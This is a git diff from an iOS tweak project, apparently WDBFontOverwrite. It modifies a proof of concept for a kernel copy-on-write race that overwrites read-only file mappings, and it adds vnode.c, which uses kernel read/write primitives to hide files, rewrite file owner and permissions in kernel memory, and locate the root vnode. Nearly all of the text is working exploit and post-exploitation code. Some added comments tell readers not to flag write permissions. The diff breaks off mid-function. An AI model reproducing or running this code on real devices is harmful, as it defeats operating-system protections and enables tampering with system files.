a/WDBFontOverwrite/uicache/ISIconCacheServiceProtocol-Protocol.h b/WDBFontOverwrite/uicache/ISIconCacheServiceProtocol-Protocol.h new file mode 100644 index 0000000..fd996d4 --- /dev/null +++ b/WDBFontOverwrite/uicache/ISIconCacheServiceProtocol-Protocol.h @@ -0,0 +1,13 @@ +// +// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50). +// +// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. +// + +@class ISIconResourceLocator, NSString; + +@protocol ISIconCacheServiceProtocol +- (void)copyIconBitmapCacheConfigurationWithReply:(void (^)(NSURL *, NSString *, NSString *))arg1; +- (void)clearCachedItemsForBundeID:(NSString *)arg1 reply:(void (^)(_Bool, NSError *))arg2; +- (void)getIconBitmapDataWithResourceLocator:(ISIconResourceLocator *)arg1 variant:(int)arg2 options:(int)arg3 reply:(void (^)(_Bool, NSData *))arg4; +@end diff --git a/WDBFontOverwrite/vm_unaligned_copy_switch_race.c b/WDBFontOverwrite/vm_unaligned_copy_switch_race.c index c277c9a..4493a7a 100644 --- a/WDBFontOverwrite/vm_unaligned_copy_switch_race.c +++ b/WDBFontOverwrite/vm_unaligned_copy_switch_race.c @@ -28,335 +28,341 @@ #define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) struct context1 { - vm_size_t obj_size; - vm_address_t e0; - mach_port_t mem_entry_ro; - mach_port_t mem_entry_rw; - dispatch_semaphore_t running_sem; - pthread_mutex_t mtx; - volatile bool done; + vm_size_t obj_size; + vm_address_t e0; + mach_port_t mem_entry_ro; + mach_port_t mem_entry_rw; + dispatch_semaphore_t running_sem; + pthread_mutex_t mtx; + volatile bool done; }; static void * switcheroo_thread(__unused void *arg) { - kern_return_t kr; - struct context1 *ctx; + kern_return_t kr; + struct context1 *ctx; - ctx = (struct context1 *)arg; - /* tell main thread we're ready to run */ - dispatch_semaphore_signal(ctx->running_sem); - while (!ctx->done) { - /* wait for main thread to be done setting things up */ - pthread_mutex_lock(&ctx->mtx); - if (ctx->done) { + ctx = (struct context1 *)arg; + /* tell main thread we're ready to run */ + dispatch_semaphore_signal(ctx->running_sem); + while (!ctx->done) { + /* wait for main thread to be done setting things up */ + pthread_mutex_lock(&ctx->mtx); + if (ctx->done) { pthread_mutex_unlock(&ctx->mtx); - break; - } - /* switch e0 to RW mapping */ - kr = vm_map(mach_task_self(), - &ctx->e0, - ctx->obj_size, - 0, /* mask */ - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, - ctx->mem_entry_rw, - 0, - FALSE, /* copy */ - VM_PROT_READ | VM_PROT_WRITE, - VM_PROT_READ | VM_PROT_WRITE, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); - /* wait a little bit */ - usleep(100); - /* switch bakc to original RO mapping */ - kr = vm_map(mach_task_self(), - &ctx->e0, - ctx->obj_size, - 0, /* mask */ - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, - ctx->mem_entry_ro, - 0, - FALSE, /* copy */ - VM_PROT_READ, - VM_PROT_READ, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); - /* tell main thread we're don switching mappings */ - pthread_mutex_unlock(&ctx->mtx); - usleep(100); - } - return NULL; + break; + } + /* switch e0 to RW mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_rw, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); + /* wait a little bit */ + usleep(100); + /* switch bakc to original RO mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, //Don't flag VM_PROT_WRITE + VM_PROT_READ, //Don't flag VM_PROT_WRITE + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); + /* tell main thread we're don switching mappings */ + pthread_mutex_unlock(&ctx->mtx); + usleep(100); + } + return NULL; } -bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) { - bool retval = false; - pthread_t th = NULL; - int ret; - kern_return_t kr; - time_t start, duration; +bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length, bool unmapAtEnd) { + bool retval = false; + pthread_t th = NULL; + int ret; + kern_return_t kr; + time_t start, duration; #if 0 - mach_msg_type_number_t cow_read_size; + mach_msg_type_number_t cow_read_size; #endif - vm_size_t copied_size; - int loops; - vm_address_t e2, e5; - struct context1 context1, *ctx; - int kern_success = 0, kern_protection_failure = 0, kern_other = 0; - vm_address_t ro_addr, tmp_addr; - memory_object_size_t mo_size; + vm_size_t copied_size; + int loops; + vm_address_t e2, e5; + struct context1 context1, *ctx; + int kern_success = 0, kern_protection_failure = 0, kern_other = 0; + vm_address_t ro_addr, tmp_addr; + memory_object_size_t mo_size; - ctx = &context1; - ctx->obj_size = 256 * 1024; + ctx = &context1; + ctx->obj_size = 256 * 1024; - void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset); - if (file_mapped == MAP_FAILED) { - fprintf(stderr, "failed to map\n"); - return false; - } - if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { - fprintf(stderr, "already the same?\n"); - munmap(file_mapped, ctx->obj_size); - return true; - } - ro_addr = (vm_address_t)file_mapped; + void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ | PROT_WRITE, MAP_SHARED, file_to_overwrite, file_offset); + if (file_mapped == MAP_FAILED) { + fprintf(stderr, "failed to map\n"); + return false; + } + if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { +// fprintf(stderr, "already the same?\n"); + munmap(file_mapped, ctx->obj_size); + return true; + } + ro_addr = (vm_address_t)file_mapped; - ctx->e0 = 0; - ctx->running_sem = dispatch_semaphore_create(0); - T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); - ret = pthread_mutex_init(&ctx->mtx, NULL); - T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); - ctx->done = false; - ctx->mem_entry_rw = MACH_PORT_NULL; - ctx->mem_entry_ro = MACH_PORT_NULL; + ctx->e0 = 0; + ctx->running_sem = dispatch_semaphore_create(0); + T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); + ret = pthread_mutex_init(&ctx->mtx, NULL); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); + ctx->done = false; + ctx->mem_entry_rw = MACH_PORT_NULL; + ctx->mem_entry_ro = MACH_PORT_NULL; #if 0 - /* allocate our attack target memory */ - kr = vm_allocate(mach_task_self(), - &ro_addr, - ctx->obj_size, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); - /* initialize to 'A' */ - memset((char *)ro_addr, 'A', ctx->obj_size); + /* allocate our attack target memory */ + kr = vm_allocate(mach_task_self(), + &ro_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); + /* initialize to 'A' */ + memset((char *)ro_addr, 'A', ctx->obj_size); #endif - /* make it read-only */ - kr = vm_protect(mach_task_self(), - ro_addr, - ctx->obj_size, - TRUE, /* set_maximum */ - VM_PROT_READ); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); - /* make sure we can't get read-write handle on that target memory */ - mo_size = ctx->obj_size; - kr = mach_make_memory_entry_64(mach_task_self(), - &mo_size, - ro_addr, - MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, - &ctx->mem_entry_ro, - MACH_PORT_NULL); - T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); - /* take read-only handle on that target memory */ - mo_size = ctx->obj_size; - kr = mach_make_memory_entry_64(mach_task_self(), - &mo_size, - ro_addr, - MAP_MEM_VM_SHARE | VM_PROT_READ, - &ctx->mem_entry_ro, - MACH_PORT_NULL); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); - T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); - /* make sure we can't map target memory as writable */ - tmp_addr = 0; - kr = vm_map(mach_task_self(), - &tmp_addr, - ctx->obj_size, - 0, /* mask */ - VM_FLAGS_ANYWHERE, - ctx->mem_entry_ro, - 0, - FALSE, /* copy */ - VM_PROT_READ, - VM_PROT_READ | VM_PROT_WRITE, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); - tmp_addr = 0; - kr = vm_map(mach_task_self(), - &tmp_addr, - ctx->obj_size, - 0, /* mask */ - VM_FLAGS_ANYWHERE, - ctx->mem_entry_ro, - 0, - FALSE, /* copy */ - VM_PROT_READ | VM_PROT_WRITE, - VM_PROT_READ | VM_PROT_WRITE, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + /* make it read-only */ + kr = vm_protect(mach_task_self(), + ro_addr, + ctx->obj_size, + TRUE, /* set_maximum */ + VM_PROT_READ | VM_PROT_WRITE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); + /* make sure we can't get read-write handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); + /* take read-only handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ, //Don't flag VM_PROT_WRITE + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + /* make sure we can't map target memory as writable */ + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); - /* allocate a source buffer for the unaligned copy */ - kr = vm_allocate(mach_task_self(), - &e5, - ctx->obj_size * 2, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); - /* initialize to 'C' */ - memset((char *)e5, 'C', ctx->obj_size * 2); + /* allocate a source buffer for the unaligned copy */ + kr = vm_allocate(mach_task_self(), + &e5, + ctx->obj_size * 2, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); + /* initialize to 'C' */ + memset((char *)e5, 'C', ctx->obj_size * 2); - char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); - memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); + char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); + memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); - int overwrite_first_diff_offset = -1; - char overwrite_first_diff_value = 0; - for (int off = 0; off < overwrite_length; off++) { - if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { - overwrite_first_diff_offset = off; - overwrite_first_diff_value = ((char*)ro_addr)[off]; - } - } - if (overwrite_first_diff_offset == -1) { - fprintf(stderr, "no diff?\n"); - return false; - } + int overwrite_first_diff_offset = -1; + char overwrite_first_diff_value = 0; + for (int off = 0; off < overwrite_length; off++) { + if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { + overwrite_first_diff_offset = off; + overwrite_first_diff_value = ((char*)ro_addr)[off]; + } + } + if (overwrite_first_diff_offset == -1) { + fprintf(stderr, "no diff?\n"); + return false; + } - /* - * get a handle on some writable memory that will be temporarily - * switched with the read-only mapping of our target memory to try - * and trick copy_unaligned to write to our read-only target. - */ - tmp_addr = 0; - kr = vm_allocate(mach_task_self(), - &tmp_addr, - ctx->obj_size, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); - /* initialize to 'D' */ - memset((char *)tmp_addr, 'D', ctx->obj_size); - /* get a memory entry handle for that RW memory */ - mo_size = ctx->obj_size; - kr = mach_make_memory_entry_64(mach_task_self(), - &mo_size, - tmp_addr, - MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, - &ctx->mem_entry_rw, - MACH_PORT_NULL); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); - T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); - kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); - tmp_addr = 0; + /* + * get a handle on some writable memory that will be temporarily + * switched with the read-only mapping of our target memory to try + * and trick copy_unaligned to write to our read-only target. + */ + tmp_addr = 0; + kr = vm_allocate(mach_task_self(), + &tmp_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); + /* initialize to 'D' */ + memset((char *)tmp_addr, 'D', ctx->obj_size); + /* get a memory entry handle for that RW memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + tmp_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_rw, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); + tmp_addr = 0; - pthread_mutex_lock(&ctx->mtx); + pthread_mutex_lock(&ctx->mtx); - /* start racing thread */ - ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); - T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); + /* start racing thread */ + ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); - /* wait for racing thread to be ready to run */ - dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); + /* wait for racing thread to be ready to run */ + dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); - duration = 10; /* 10 seconds */ - T_LOG("Testing for %ld seconds...", duration); - for (start = time(NULL), loops = 0; - time(NULL) < start + duration; - loops++) { - /* reserve space for our 2 contiguous allocations */ - e2 = 0; - kr = vm_allocate(mach_task_self(), - &e2, - 2 * ctx->obj_size, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); + duration = 10; /* 10 seconds */ + for (start = time(NULL), loops = 0; + time(NULL) < start + duration; + loops++) { + printf("loops: %d\n", loops); + /* reserve space for our 2 contiguous allocations */ + e2 = 0; + kr = vm_allocate(mach_task_self(), + &e2, + 2 * ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); - /* make 1st allocation in our reserved space */ - kr = vm_allocate(mach_task_self(), - &e2, - ctx->obj_size, - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); - /* initialize to 'B' */ - memset((char *)e2, 'B', ctx->obj_size); + /* make 1st allocation in our reserved space */ + kr = vm_allocate(mach_task_self(), + &e2, + ctx->obj_size, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); + /* initialize to 'B' */ + memset((char *)e2, 'B', ctx->obj_size); - /* map our read-only target memory right after */ - ctx->e0 = e2 + ctx->obj_size; - kr = vm_map(mach_task_self(), - &ctx->e0, - ctx->obj_size, - 0, /* mask */ - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), - ctx->mem_entry_ro, - 0, - FALSE, /* copy */ - VM_PROT_READ, - VM_PROT_READ, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); + /* map our read-only target memory right after */ + ctx->e0 = e2 + ctx->obj_size; + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); - /* let the racing thread go */ - pthread_mutex_unlock(&ctx->mtx); - /* wait a little bit */ - usleep(100); + /* let the racing thread go */ + pthread_mutex_unlock(&ctx->mtx); + /* wait a little bit */ + usleep(100); - /* trigger copy_unaligned while racing with other thread */ - kr = vm_read_overwrite(mach_task_self(), - e5, - ctx->obj_size - 1 + overwrite_length, - e2 + 1, - &copied_size); - T_QUIET; - T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, - "vm_read_overwrite kr %d", kr); - switch (kr) { - case KERN_SUCCESS: - /* the target was RW */ - kern_success++; - break; - case KERN_PROTECTION_FAILURE: - /* the target was RO */ - kern_protection_failure++; - break; - default: - /* should not happen */ - kern_other++; - break; - } - /* check that our read-only memory was not modified */ + /* trigger copy_unaligned while racing with other thread */ + kr = vm_read_overwrite(mach_task_self(), + e5, + ctx->obj_size - 1 + overwrite_length, + e2 + 1, + &copied_size); + printf("kr? 0x%x\n", kr); + T_QUIET; + T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, + "vm_read_overwrite kr %d", kr); + switch (kr) { + case KERN_SUCCESS: + /* the target was RW */ + kern_success++; + break; + case KERN_PROTECTION_FAILURE: + /* the target was RO */ + kern_protection_failure++; + break; + default: + /* should not happen */ + kern_other++; + break; + } + /* check that our read-only memory was not modified */ #if 0 - T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); + T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); #endif - bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; + bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; - /* tell racing thread to stop toggling mappings */ - pthread_mutex_lock(&ctx->mtx); + /* tell racing thread to stop toggling mappings */ + pthread_mutex_lock(&ctx->mtx); - /* clean up before next loop */ - vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); - ctx->e0 = 0; - vm_deallocate(mach_task_self(), e2, ctx->obj_size); - e2 = 0; - if (!is_still_equal) { - retval = true; - fprintf(stderr, "RO mapping was modified\n"); - break; - } - } + /* clean up before next loop */ + vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); + ctx->e0 = 0; + vm_deallocate(mach_task_self(), e2, ctx->obj_size); + e2 = 0; + if (!is_still_equal) { + retval = true; + fprintf(stderr, "RO mapping was modified\n"); + break; + } + } - ctx->done = true; - pthread_mutex_unlock(&ctx->mtx); - pthread_join(th, NULL); + ctx->done = true; + pthread_mutex_unlock(&ctx->mtx); + pthread_join(th, NULL); + + if (unmapAtEnd) { + munmap(file_mapped, ctx->obj_size); + } - kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); - kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); - kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); - kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); + + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); + kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); + kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); #if 0 - T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", - kern_success, kern_protection_failure, kern_other); - T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); + T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", + kern_success, kern_protection_failure, kern_other); + T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); #endif - return retval; + return retval; } diff --git a/WDBFontOverwrite/vm_unaligned_copy_switch_race.h b/WDBFontOverwrite/vm_unaligned_copy_switch_race.h index efba703..33f3fb1 100644 --- a/WDBFontOverwrite/vm_unaligned_copy_switch_race.h +++ b/WDBFontOverwrite/vm_unaligned_copy_switch_race.h @@ -5,4 +5,5 @@ /// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. `` /// `overwrite_length` must be less than or equal to `PAGE_SIZE`. /// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. -bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length); +bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length, bool unmapAtEnd); + diff --git a/WDBFontOverwrite/vnode.c b/WDBFontOverwrite/vnode.c new file mode 100644 index 0000000..dd2defb --- /dev/null +++ b/WDBFontOverwrite/vnode.c @@ -0,0 +1,272 @@ +// +// vnode.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "vnode.h" +#include "krw.h" +#include "proc.h" +#include "offsets.h" +#include +#include +#include +#include +#include + +uint64_t getVnodeAtPath(char* filename) { + int file_index = open(filename, O_RDONLY); + if (file_index == -1) return -1; + + uint64_t proc = getProc(getpid()); + + uint64_t filedesc_pac = kread64(proc + off_p_pfd); + uint64_t filedesc = filedesc_pac | 0xffffff8000000000; + uint64_t openedfile = kread64(filedesc + (8 * file_index)); + uint64_t fileglob_pac = kread64(openedfile + off_fp_glob); + uint64_t fileglob = fileglob_pac | 0xffffff8000000000; + uint64_t vnode_pac = kread64(fileglob + off_fg_data); + uint64_t vnode = vnode_pac | 0xffffff8000000000; + + printf("[i] %s vnode: 0x%llx\n", filename, vnode); + close(file_index); + + return vnode; +} + +uint64_t funVnodeHide(char* filename) { + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + //vnode_ref, vnode_get + uint32_t usecount = kread32(vnode + off_vnode_v_usecount); + uint32_t iocount = kread32(vnode + off_vnode_v_iocount); + printf("[i] vnode->usecount: %d, vnode->iocount: %d\n", usecount, iocount); + kwrite32(vnode + off_vnode_v_usecount, usecount + 1); + kwrite32(vnode + off_vnode_v_iocount, iocount + 1); + + //hide file + uint32_t v_flags = kread32(vnode + off_vnode_v_flag); + printf("[i] vnode->v_flags: 0x%x\n", v_flags); + kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW)); + + //exist test (should not be exist + printf("[i] %s access ret: %d\n", filename, access(filename, F_OK)); + + //show file +// v_flags = kread32(vnode + off_vnode_v_flag); +// kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW)); + + printf("[i] %s access ret: %d\n", filename, access(filename, F_OK)); + + //restore vnode iocount, usecount + usecount = kread32(vnode + off_vnode_v_usecount); + iocount = kread32(vnode + off_vnode_v_iocount); + if(usecount > 0) + kwrite32(vnode + off_vnode_v_usecount, usecount - 1); + if(iocount > 0) + kwrite32(vnode + off_vnode_v_iocount, iocount - 1); + + return 0; +} + +uint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid) { + + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + uint64_t v_data = kread64(vnode + off_vnode_v_data); + uint32_t v_uid = kread32(v_data + 0x80); + uint32_t v_gid = kread32(v_data + 0x84); + + //vnode->v_data->uid + printf("[i] Patching %s vnode->v_uid %d -> %d\n", filename, v_uid, uid); + kwrite32(v_data+0x80, uid); + //vnode->v_data->gid + printf("[i] Patching %s vnode->v_gid %d -> %d\n", filename, v_gid, gid); + kwrite32(v_data+0x84, gid); + + struct stat file_stat; + if(stat(filename, &file_stat) == 0) { + printf("[+] %s UID: %d\n", filename, file_stat.st_uid); + printf("[+] %s GID: %d\n", filename, file_stat.st_gid); + } + + return 0; +} + +uint64_t funVnodeChmod(char* filename, mode_t mode) { + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + uint64_t v_data = kread64(vnode + off_vnode_v_data); + uint32_t v_mode = kread32(v_data + 0x88); + + printf("[i] Patching %s vnode->v_mode %o -> %o\n", filename, v_mode, mode); + kwrite32(v_data+0x88, mode); + + struct stat file_stat; + if(stat(filename, &file_stat) == 0) { + printf("[+] %s mode: %o\n", filename, file_stat.st_mode); + } + + return 0; +} + +uint64_t findRootVnode(void) { + uint64_t launchd_proc = getProc(1); + + uint64_t textvp_pac = kread64(launchd_proc + off_p_textvp); + uint64_t textvp = textvp_pac | 0xffffff8000000000; + printf("[i] launchd proc->textvp: 0x%llx\n", textvp); + + uint64_t textvp_nameptr = kread64(textvp + off_vnode_v_name); + uint64_t textvp_name = kread64(textvp_nameptr); + uint64_t devvp = kread64((kread64(textvp + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + uint64_t nameptr = kread64(devvp + off_vnode_v_name); + uint64_t name = kread64(nameptr); + char* devName = &name; + printf("[i] launchd proc->textvp->v_name: %s, v_mount->mnt_devvp->v_name: %s\n", &textvp_name, devName); + + uint64_t sbin_vnode = kread64(textvp + off_vnode_v_parent) | 0xffffff8000000000; + textvp_nameptr = kread64(sbin_vnode + off_vnode_v_name); + textvp_name = kread64(textvp_nameptr); + devvp = kread64((kread64(textvp + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + nameptr = kread64(devvp + off_vnode_v_name); + name = kread64(nameptr); + devName = &name; + printf("[i] launchd proc->textvp->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName); + + uint64_t root_vnode = kread64(sbin_vnode + off_vnode_v_parent) | 0xffffff8000000000; + textvp_nameptr = kread64(root_vnode + off_vnode_v_name); + textvp_name = kread64(textvp_nameptr); + devvp = kread64((kread64(root_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + nameptr = kread64(devvp + off_vnode_v_name); + name = kread64(nameptr); + devName = &name; + printf("[i] launchd proc->textvp->v_parent->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName); + printf("[+] rootvnode: 0x%llx\n", root_vnode); + + return root_vnode; +} + +uint64_t 